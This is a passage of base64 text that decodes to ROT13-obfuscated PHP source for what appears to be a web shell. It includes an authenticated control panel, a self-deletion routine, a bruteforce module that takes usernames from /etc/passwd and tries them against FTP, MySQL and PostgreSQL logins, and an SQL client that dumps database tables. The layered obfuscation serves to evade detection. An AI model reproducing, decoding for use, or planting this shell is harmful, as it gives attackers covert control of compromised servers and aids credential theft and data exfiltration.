oJCX0KCQlycHViICc8YmNndmJhIGlueWhyPSInLnVnenlmY3Jwdm55cHVuZWYoJGkpLiciPicuJGEuJzwvYmNndmJhPic7Cgl9CgkKCXJwdWIgJzwvZnJ5cnBnPjx2YWNoZyBnbGNyPW9oZ2diYSBiYXB5dnB4PSJucXEocS5wcy5ueXZuZi5pbnlocik7dnMocS5wcy5ud25rLnB1cnB4cnEpe24oYWh5eSxhaHl5LHEucHMubnl2bmYuaW55aHIscS5wcy5mdWJqX3JlZWJlZi5wdXJweHJxPzE6XCdcJyk7fXJ5ZnJ7dChhaHl5LGFoeXkscS5wcy5ueXZuZi5pbnlocixxLnBzLmZ1YmpfcmVlYmVmLnB1cnB4cnE/MTpcJ1wnKTt9IiBpbnlocj0iPj4iPiA8YWJvZT48dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAnLihAJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnXT8ncHVycHhycSc6JycpLic+IGZyYXEgaGZ2YXQgTldOSyA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPWZ1YmpfcmVlYmVmIGlueWhyPTEgJy4oIXJ6Y2dsKCRfQ0JGR1snYzInXSl8fCRfUEJCWFZSW3pxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidmZ3FyZWVfZ2JfYmhnJ10/J3B1cnB4cnEnOicnKS4nPiBlcnF2ZXJwZyBmZ3FyZWUgZ2IgZmdxYmhnICgyPiYxKTwvYWJvZT48b2UvPjxncmtnbmVybiBweW5mZj1vdnRuZXJuIGFuenI9YmhnY2hnIGZnbHlyPSJvYmVxcmUtb2JnZ2J6OjA7em5ldHZhOjA7IiBlcm5xYmF5bD4nOwoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQlycHViIHVnenlmY3Jwdm55cHVuZWYoIiQgIi4kX0NCRkdbJ2MxJ10uIlxhIi5qZmJSaygkX0NCRkdbJ2MxJ10pKTsKCX0KCXJwdWIgJzwvZ3JrZ25lcm4+PGdub3lyIGZnbHlyPSJvYmVxcmU6MWNrIGZieXZxICNxczU7b25weHRlYmhhcS1wYnliZTojNTU1O29iZXFyZS1nYmM6MGNrOyIgcHJ5eWNucXF2YXQ9MCBwcnl5ZmNucHZhdD0wIGp2cWd1PSIxMDAlIj48Z2U+PGdxIGp2cWd1PSIxJSI+JDwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1wenEgZmdseXI9Im9iZXFyZTowY2s7anZxZ3U6MTAwJTsiIGJheHJscWJqYT0ieGMocmlyYWcpOyI+PC9ncT48L2dlPjwvZ25veXI+JzsKCXJwdWIgJzwvc2Jlej48L3F2aT48ZnBldmNnPnEucHMucHpxLnNicGhmKCk7PC9mcGV2Y2c+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFZYnRiaGcoKSB7CiAgICBmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSksICcnLCBndnpyKCkgLSAzNjAwKTsKCXF2cignb2xyIScpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGcnlzRXJ6YmlyKCkgewoJJGFuenJzdnlyID0gb25mcmFuenIoX19TVllSX18pOwoJdnMoY2VydF96bmdwdSgiL1wuY3VjLyIsICRhbnpyc3Z5cikpewoJCWNlcnRfem5ncHUoIiMoLiopXC5jdWMjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjJzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VjNS8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjNSMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWM1JzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VjNy8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjNyMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWM3JzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VnenkvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1Z3p5IyIsICRhbnpyc3Z5ciwgJGFuenJzdnlyMik7CgkJJGFuenJzdnlyID0gJGFuenJzdnlyMlsxXS4nLmN1Z3p5JzsKCX0KCXZzKCRfQ0JGR1snYzEnXSA9PSAnbHJmJykKCQl2cyhAaGF5dmF4KGNlcnRfZXJjeW5wcignIVwoXHErXClcZi4qIScsICcnLCAkYW56cnN2eXIpKSkKCQkJcXZyKCdGdXJ5eSB1bmYgb3JyYSBlcnpiaXJxJyk7CgkJcnlmcgoJCQlycHViICdoYXl2YXggcmVlYmUhJzsKICAgIHZzKCRfQ0JGR1snYzEnXSAhPSAnbHJmJykKICAgICAgICBqZmJVcm5xcmUoKTsKCXJwdWIgJzx1MT5GaHZwdnFyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+RXJueXlsIGpuYWcgZ2IgZXJ6YmlyIGd1ciBmdXJ5eT88b2U+PG4gdWVycz0jIGJhcHl2cHg9InQoYWh5eSxhaHl5LFwnbHJmXCcpIj5McmY8L24+PC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFPZWhncnNiZXByKCkgewoJamZiVXJucXJlKCk7Cgl2cyggdmZmcmcoJF9DQkZHWydjZWJnYiddKSApIHsKCQlycHViICc8dTE+RXJmaHlnZjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmY25hPkdsY3I6PC9mY25hPiAnLnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjZWJnYiddKS4nIDxmY25hPkZyZWlyZTo8L2ZjbmE+ICcudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2ZyZWlyZSddKS4nPG9lPic7CgkJdnMoICRfQ0JGR1snY2ViZ2InXSA9PSAnc2djJyApIHsKCQkJc2hhcGd2YmEgamZiT2VoZ3JTYmVwcigkdmMsJGNiZWcsJHlidHZhLCRjbmZmKSB7CgkJCQkkc2MgPSBAc2djX3BiYWFycGcoJHZjLCAkY2JlZz8kY2JlZzoyMSk7CgkJCQl2cyghJHNjKSBlcmdoZWEgc255ZnI7CgkJCQkkZXJmID0gQHNnY195YnR2YSgkc2MsICR5YnR2YSwgJGNuZmYpOwoJCQkJQHNnY19weWJmcigkc2MpOwoJCQkJZXJnaGVhICRlcmY7CgkJCX0KCQl9IHJ5ZnJ2cyggJF9DQkZHWydjZWJnYiddID09ICd6bGZkeScgKSB7CgkJCXNoYXBndmJhIGpmYk9laGdyU2JlcHIoJHZjLCRjYmVnLCR5YnR2YSwkY25mZikgewoJCQkJJGVyZiA9IEB6bGZkeV9wYmFhcnBnKCR2Yy4nOicuKCRjYmVnPyRjYmVnOjMzMDYpLCAkeWJ0dmEsICRjbmZmKTsKCQkJCUB6bGZkeV9weWJmcigkZXJmKTsKCQkJCWVyZ2hlYSAkZXJmOwoJCQl9CgkJfSByeWZydnMoICRfQ0JGR1snY2ViZ2InXSA9PSAnY3RmZHknICkgewoJCQlzaGFwZ3ZiYSBqZmJPZWhnclNiZXByKCR2YywkY2JlZywkeWJ0dmEsJGNuZmYpIHsKCQkJCSRmZ2UgPSAidWJmZz0nIi4kdmMuIicgY2JlZz0nIi4kY2JlZy4iJyBoZnJlPSciLiR5YnR2YS4iJyBjbmZmamJlcT0nIi4kY25mZi4iJyBxb2FuenI9Y2JmZ3RlcmYiOwoJCQkJJGVyZiA9IEBjdF9wYmFhcnBnKCRmZ2UpOwoJCQkJQGN0X3B5YmZyKCRlcmYpOwoJCQkJZXJnaGVhICRlcmY7CgkJCX0KCQl9CgkJJGZocHByZmYgPSAwOwoJCSRuZ2dyemNnZiA9IDA7CgkJJGZyZWlyZSA9IHJrY3licXIoIjoiLCAkX0NCRkdbJ2ZyZWlyZSddKTsKCQl2cygkX0NCRkdbJ2dsY3InXSA9PSAxKSB7CgkJCSRncnpjID0gQHN2eXIoJy9yZ3AvY25mZmpxJyk7CgkJCXZzKCB2Zl9uZWVubCgkZ3J6YykgKQoJCQkJc2Jlcm5wdSgkZ3J6YyBuZiAkeXZhcikgewoJCQkJCSR5dmFyID0gcmtjeWJxcigiOiIsICR5dmFyKTsKCQkJCQkrKyRuZ2dyemNnZjsKCQkJCQl2cyggamZiT2VoZ3JTYmVwcihAJGZyZWlyZVswXSxAJGZyZWlyZVsxXSwgJHl2YXJbMF0sICR5dmFyWzBdKSApIHsKCQkJCQkJJGZocHByZmYrKzsKCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyWzBdKS4nPC9vPjonLnVnenlmY3Jwdm55cHVuZWYoJHl2YXJbMF0pLic8b2U+JzsKCQkJCQl9CgkJCQkJdnMoQCRfQ0JGR1snZXJpcmVmciddKSB7CgkJCQkJCSRnemMgPSAiIjsKCQkJCQkJc2JlKCR2PWZnZXlyYSgkeXZhclswXSktMTsgJHY+PTA7IC0tJHYpCgkJCQkJCQkkZ3pjIC49ICR5dmFyWzBdWyR2XTsKCQkJCQkJKyskbmdncnpjZ2Y7CgkJCQkJCXZzKCBqZmJPZWhnclNiZXByKEAkZnJlaXJlWzBdLEAkZnJlaXJlWzFdLCAkeXZhclswXSwgJGd6YykgKSB7CgkJCQkJCQkkZmhwcHJmZisrOwoJCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyWzBdKS4nPC9vPjonLnVnenlmY3Jwdm55cHVuZWYoJGd6Yyk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJfSByeWZydnMoJF9DQkZHWydnbGNyJ10gPT0gMikgewoJCQkkZ3J6YyA9IEBzdnlyKCRfQ0JGR1sncXZwZyddKTsKCQkJdnMoIHZmX25lZW5sKCRncnpjKSApCgkJCQlzYmVybnB1KCRncnpjIG5mICR5dmFyKSB7CgkJCQkJJHl2YXIgPSBnZXZ6KCR5dmFyKTsKCQkJCQkrKyRuZ2dyemNnZjsKCQkJCQl2cyggamZiT2VoZ3JTYmVwcigkZnJlaXJlWzBdLEAkZnJlaXJlWzFdLCAkX0NCRkdbJ3lidHZhJ10sICR5dmFyKSApIHsKCQkJCQkJJGZocHByZmYrKzsKCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1sneWJ0dmEnXSkuJzwvbz46Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyKS4nPG9lPic7CgkJCQkJfQoJCQkJfQoJCX0KCQlycHViICI8ZmNuYT5OZ2dyemNnZjo8L2ZjbmE+ICRuZ2dyemNnZiA8ZmNuYT5GaHBwcmZmOjwvZmNuYT4gJGZocHByZmY8L3F2aT48b2U+IjsKCX0KCXJwdWIgJzx1MT5PZWhncnNiZXByPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+PGdub3lyPjxzYmV6IHpyZ3VicT1jYmZnPjxnZT48Z3E+PGZjbmE+R2xjcjwvZmNuYT48L2dxPicKCQkuJzxncT48ZnJ5cnBnIGFuenI9Y2ViZ2I+PGJjZ3ZiYSBpbnlocj1zZ2M+U0dDPC9iY2d2YmE+PGJjZ3ZiYSBpbnlocj16bGZkeT5abEZkeTwvYmNndmJhPjxiY2d2YmEgaW55aHI9Y3RmZHk+Q2JmZ3RlckZkeTwvYmNndmJhPjwvZnJ5cnBnPjwvZ3E+PC9nZT48Z2U+PGdxPicKCQkuJzx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXAgaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkVFlCT05ZRlsncGpxJ10pLiciPicKCQkuJzx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPW4gaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ24nXSkuJyI+JwoJCS4nPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9cHVuZWZyZyBpbnlocj0iJy51Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1sncHVuZWZyZyddKS4nIj4nCgkJLic8ZmNuYT5GcmVpcmU6Y2JlZzwvZmNuYT48L2dxPicKCQkuJzxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZnJlaXJlIGlueWhyPSIxMjcuMC4wLjEiPjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjxmY25hPk9laGdyIGdsY3I8L2ZjbmE+PC9ncT4nCgkJLic8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPWVucXZiIGFuenI9Z2xjciBpbnlocj0iMSIgcHVycHhycT4gL3JncC9jbmZmanE8L3lub3J5PjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjwvZ3E+PGdxPjx5bm9yeSBmZ2x5cj0iY25xcXZhdC15cnNnOjE1Y2siPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9ZXJpcmVmciBpbnlocj0xIHB1cnB4cnE+IGVyaXJlZnIgKHlidHZhIC0+IGF2dGJ5KTwveW5vcnk+PC9ncT48L2dlPicKCQkuJzxnZT48Z3E+PC9ncT48Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPWVucXZiIGFuenI9Z2xjciBpbnlocj0iMiI+IFF2cGd2YmFuZWw8L3lub3J5PjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjwvZ3E+PGdxPjxnbm95ciBmZ2x5cj0iY25xcXZhdC15cnNnOjE1Y2siPjxnZT48Z3E+PGZjbmE+WWJ0dmE8L2ZjbmE+PC9ncT4nCgkJLic8Z3E+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPXlidHZhIGlueWhyPSJlYmJnIj48L2dxPjwvZ2U+JwoJCS4nPGdlPjxncT48ZmNuYT5RdnBndmJhbmVsPC9mY25hPjwvZ3E+JwoJCS4nPGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1xdnBnIGlueWhyPSInLnVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKS4nY25mZmpxLnF2cCI+PC9ncT48L2dlPjwvZ25veXI+JwoJCS4nPC9ncT48L2dlPjxnZT48Z3E+PC9ncT48Z3E+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSI+PiI+PC9ncT48L2dlPjwvc2Jlej48L2dub3lyPic7CglycHViICc8L3F2aT48b2U+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGZHkoKSB7CglweW5mZiBRb1B5bmZmIHsKCQlpbmUgJGdsY3I7CgkJaW5lICR5dmF4OwoJCWluZSAkZXJmOwoJCXNoYXBndmJhIFFvUHluZmYoJGdsY3IpCXsKCQkJJGd1dmYtPmdsY3IgPSAkZ2xjcjsKCQl9CgkJc2hhcGd2YmEgcGJhYXJwZygkdWJmZywgJGhmcmUsICRjbmZmLCAkcW9hbnpyKXsKCQkJZmp2Z3B1KCRndXZmLT5nbGNyKQl7CgkJCQlwbmZyICd6bGZkeSc6CgkJCQkJdnMoICRndXZmLT55dmF4ID0gQHpsZmR5X3BiYWFycGcoJHViZmcsJGhmcmUsJGNuZmYsZ2VocikgKSBlcmdoZWEgZ2VocjsKCQkJCQlvZXJueDsKCQkJCXBuZnIgJ2N0ZmR5JzoKCQkJCQkkdWJmZyA9IHJrY3licXIoJzonLCAkdWJmZyk7CgkJCQkJdnMoISR1YmZnWzFdKSAkdWJmZ1sxXT01NDMyOwoJCQkJCXZzKCAkZ3V2Zi0+eXZheCA9IEBjdF9wYmFhcnBnKCJ1YmZnPXskdWJmZ1swXX0gY2JlZz17JHViZmdbMV19IGhmcmU9JGhmcmUgY25mZmpiZXE9JGNuZmYgcW9hbnpyPSRxb2FuenIiKSApIGVyZ2hlYSBnZWhyOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgZnJ5cnBncW8oJHFvKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCXZzIChAemxmZHlfZnJ5cnBnX3FvKCRxbykpZXJnaGVhIGdlaHI7CgkJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCQlzaGFwZ3ZiYSBkaHJlbCgkZmdlKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikgewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gQHpsZmR5X2RocmVsKCRmZ2UpOwoJCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gQGN0X2RocmVsKCRndXZmLT55dmF4LCRmZ2UpOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgc3JncHUoKSB7CgkJCSRlcmYgPSBzaGFwX2Foel9uZXRmKCk/c2hhcF90cmdfbmV0KDApOiRndXZmLT5lcmY7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSBAemxmZHlfc3JncHVfbmZmYnAoJGVyZik7CgkJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhIEBjdF9zcmdwdV9uZmZicCgkZXJmKTsKCQkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHl2ZmdRb2YoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgogICAgICAgICAgICAgICAgICAgICAgICBlcmdoZWEgJGd1dmYtPmRocmVsKCJGVUJKIHFuZ25vbmZyZiIpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhICRndXZmLT5lcmYgPSAkZ3V2Zi0+ZGhyZWwoIkZSWVJQRyBxbmdhbnpyIFNFQlogY3RfcW5nbm9uZnIgSlVSRVIgcW5ndmZncnpjeW5nciE9J2cnIik7CgkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHl2ZmdHbm95cmYoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gJGd1dmYtPmRocmVsKCdGVUJKIEdOT1lSRicpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhICRndXZmLT5lcmYgPSAkZ3V2Zi0+ZGhyZWwoImZyeXJwZyBnbm95cl9hbnpyIHNlYnogdmFzYmV6bmd2YmFfZnB1cnpuLmdub3lyZiBqdXJlciBnbm95cl9mcHVyem4gIT0gJ3Zhc2Jlem5ndmJhX2ZwdXJ6bicgTkFRIGdub3lyX2ZwdXJ6biAhPSAnY3RfcG5nbnlidCciKTsKCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgcmVlYmUoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSBAemxmZHlfcmVlYmUoKTsKCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCWVyZ2hlYSBAY3RfeW5mZ19yZWViZSgpOwoJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCQlzaGFwZ3ZiYSBmcmdQdW5lZnJnKCRmZ2UpIHsKCQkJZmp2Z3B1KCRndXZmLT5nbGNyKQl7CgkJCQlwbmZyICd6bGZkeSc6CgkJCQkJdnMoc2hhcGd2YmFfcmt2ZmdmKCd6bGZkeV9mcmdfcHVuZWZyZycpKQoJCQkJCQllcmdoZWEgQHpsZmR5X2ZyZ19wdW5lZnJnKCRmZ2UsICRndXZmLT55dmF4KTsKCQkJCQlyeWZyCgkJCQkJCSRndXZmLT5kaHJlbCgnRlJHIFBVTkVGUkcgJy4kZmdlKTsKCQkJCQlvZXJueDsKCQkJCXBuZnIgJ2N0ZmR5JzoKCQkJCQllcmdoZWEgQGN0X2ZyZ19weXZyYWdfcmFwYnF2YXQoJGd1dmYtPnl2YXgsICRmZ2UpOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgeWJucVN2eXIoJGZnZSkgewoJCQlmanZncHUoJGd1dmYtPmdsY3IpCXsKCQkJCXBuZnIgJ3psZmR5JzoKCQkJCQllcmdoZWEgJGd1dmYtPnNyZ3B1KCRndXZmLT5kaHJlbCgiRlJZUlBHIFlCTlFfU1ZZUignIi5ucXFmeW5mdXJmKCRmZ2UpLiInKSBuZiBzdnlyIikpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJJGd1dmYtPmRocmVsKCJQRVJOR1IgR05PWVIgamZiMihzdnlyIGdya2cpO1BCQ0wgamZiMiBTRUJaICciLm5xcWZ5bmZ1cmYoJGZnZSkuIic7ZnJ5cnBnIHN2eXIgc2VieiBqZmIyOyIpOwoJCQkJCSRlPW5lZW5sKCk7CgkJCQkJanV2eXIoJHY9JGd1dmYtPnNyZ3B1KCkpCgkJCQkJCSRlW10gPSAkdlsnc3Z5ciddOwoJCQkJCSRndXZmLT5kaHJlbCgncWViYyBnbm95ciBqZmIyJyk7CgkJCQkJZXJnaGVhIG5lZW5sKCdzdnlyJz0+dnpjeWJxcigiXGEiLCRlKSk7CgkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHFoemMoJGdub3lyLCAkc2MgPSBzbnlmcikgewoJCQlmanZncHUoJGd1dmYtPmdsY3IpCXsKCQkJCXBuZnIgJ3psZmR5JzoKCQkJCQkkZXJmID0gJGd1dmYtPmRocmVsKCdGVUJKIFBFUk5HUiBHTk9ZUiBgJy4kZ25veXIuJ2AnKTsKCQkJCQkkcGVybmdyID0gemxmZHlfc3JncHVfbmVlbmwoJGVyZik7CgkJCQkJJGZkeSA9ICRwZXJuZ3JbMV0uIjtcYSI7CiAgICAgICAgICAgICAgICAgICAgdnMoJHNjKSBzamV2Z3IoJHNjLCAkZmR5KTsgcnlmciBycHViKCRmZHkpOwoJCQkJCSRndXZmLT5kaHJlbCgnRlJZUlBHICogU0VCWiBgJy4kZ25veXIuJ2AnKTsKICAgICAgICAgICAgICAgICAgICAkdiA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBnZWhyOwoJCQkJCWp1dnlyKCR2Z3J6ID0gJGd1dmYtPnNyZ3B1KCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICB2cygkdiAlIDEwMDAgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBnZWhyOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSA9ICI7XGFcYSI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCgkJCQkJCSRwYnloemFmID0gbmVlbmwoKTsKCQkJCQkJc2Jlcm5wdSgkdmdyeiBuZiAkeD0+JGkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZzKCRpID09PSBhaHl5KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICJBSFlZIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ5ZnJ2cyh2Zl92YWcoJGkpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICRpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcnlmcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICInIi5AemxmZHlfZXJueV9yZnBuY3JfZmdldmF0KCRpKS4iJyI7CgkJCQkJCQkkcGJ5aHphZltdID0gImAiLiR4LiJgIjsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICB2cygkdXJucSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSAuPSAnVkFGUkVHIFZBR0IgYCcuJGdub3lyLidgICgnLnZ6Y3licXIoIiwgIiwgJHBieWh6YWYpLiIpIElOWUhSRiBcYVxnKCIudnpjeWJxcigiLCAiLCAkdmdyeikuJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBzbnlmcjsKICAgICAgICAgICAgICAgICAgICAgICAgfSByeWZyCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmR5IC49ICJcYVxnLCgiLnZ6Y3licXIoIiwgIiwgJHZncnopLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgdnMoJHNjKSBzamV2Z3IoJHNjLCAkZmR5KTsgcnlmciBycHViKCRmZHkpOwogICAgICAgICAgICAgICAgICAgICAgICAkdisrOwoJCQkJCX0KICAgICAgICAgICAgICAgICAgICB2cyghJHVybnEpCiAgICAgICAgICAgICAgICAgICAgICAgIHZzKCRzYykgc2pldmdyKCRzYywgIjtcYVxhIik7IHJ5ZnIgcnB1YigiO1xhXGEiKTsKCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCSRndXZmLT5kaHJlbCgnRlJZUlBHICogU0VCWiAnLiRnbm95cik7CgkJCQkJanV2eXIoJHZncnogPSAkZ3V2Zi0+c3JncHUoKSkgewoJCQkJCQkkcGJ5aHphZiA9IG5lZW5sKCk7CgkJCQkJCXNiZXJucHUoJHZncnogbmYgJHg9PiRpKSB7CgkJCQkJCQkkdmdyelskeF0gPSAiJyIubnFxZnluZnVyZigkaSkuIiciOwoJCQkJCQkJJHBieWh6YWZbXSA9ICR4OwoJCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgICAgICRmZHkgPSAnVkFGUkVHIFZBR0IgJy4kZ25veXIuJyAoJy52emN5YnFyKCIsICIsICRwYnloemFmKS4nKSBJTllIUkYgKCcudnpjeWJxcigiLCAiLCAkdmdyeikuJyk7Jy4iXGEiOwogICAgICAgICAgICAgICAgICAgICAgICB2cygkc2MpIHNqZXZncigkc2MsICRmZHkpOyByeWZyIHJwdWIoJGZkeSk7CgkJCQkJfQoJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCX07CgkkcW8gPSBhcmogUW9QeW5mZigkX0NCRkdbJ2dsY3InXSk7Cgl2cygoQCRfQ0JGR1snYzInXT09J3FiamF5Ym5xJykgJiYgKEAkX0NCRkdbJ2MxJ10hPSdmcnlycGcnKSkgewoJCSRxby0+cGJhYXJwZygkX0NCRkdbJ2ZkeV91YmZnJ10sICRfQ0JGR1snZmR5X3lidHZhJ10sICRfQ0JGR1snZmR5X2NuZmYnXSwgJF9DQkZHWydmZHlfb25mciddKTsKCQkkcW8tPmZyeXJwZ3FvKCRfQ0JGR1snZmR5X29uZnInXSk7CiAgICAgICAgZmp2Z3B1KCRfQ0JGR1sncHVuZWZyZyddKSB7CiAgICAgICAgICAgIHBuZnIgIkp2YXFiamYtMTI1MSI6ICRxby0+ZnJnUHVuZWZyZygncGMxMjUxJyk7IG9lcm54OwogICAgICAgICAgICBwbmZyICJIR1MtOCI6ICRxby0+ZnJnUHVuZWZyZygnaGdzOCcpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAiWEJWOC1FIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4ZScpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAiWEJWOC1IIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4aCcpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAicGM4NjYiOiAkcW8tPmZyZ1B1bmVmcmcoJ3BjODY2Jyk7IG9lcm54OwogICAgICAgIH0KICAgICAgICB2cyhyemNnbCgkX0NCRkdbJ3N2eXInXSkpIHsKICAgICAgICAgICAgYm9fZmduZWcoImJvX3RtdW5hcXlyZSIsIDQwOTYpOwogICAgICAgICAgICB1cm5xcmUoIlBiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPXFoemMuZmR5Iik7CiAgICAgICAgICAgIHVybnFyZSgiUGJhZ3JhZy1HbGNyOiBncmtnL2N5bnZhIik7CiAgICAgICAgICAgIHNiZXJucHUoJF9DQkZHWydnb3knXSBuZiAkaSkKCQkJCSRxby0+cWh6YygkaSk7CiAgICAgICAgICAgIHJrdmc7CiAgICAgICAgfSByeWZydnMoJHNjID0gQHNiY3JhKCRfQ0JGR1snc3Z5ciddLCAnaicpKSB7CiAgICAgICAgICAgIHNiZXJucHUoJF9DQkZHWydnb3knXSBuZiAkaSkKICAgICAgICAgICAgICAgICRxby0+cWh6YygkaSwgJHNjKTsKICAgICAgICAgICAgc3B5YmZyKCRzYyk7CiAgICAgICAgICAgIGhhZnJnKCRfQ0JGR1snYzInXSk7CiAgICAgICAgfSByeWZyCiAgICAgICAgICAgIHF2cignPGZwZXZjZz5ueXJlZygiUmVlYmUhIFBuYVwnZyBiY3JhIHN2eXIiKTtqdmFxYmoudXZmZ2JlbC5vbnB4KC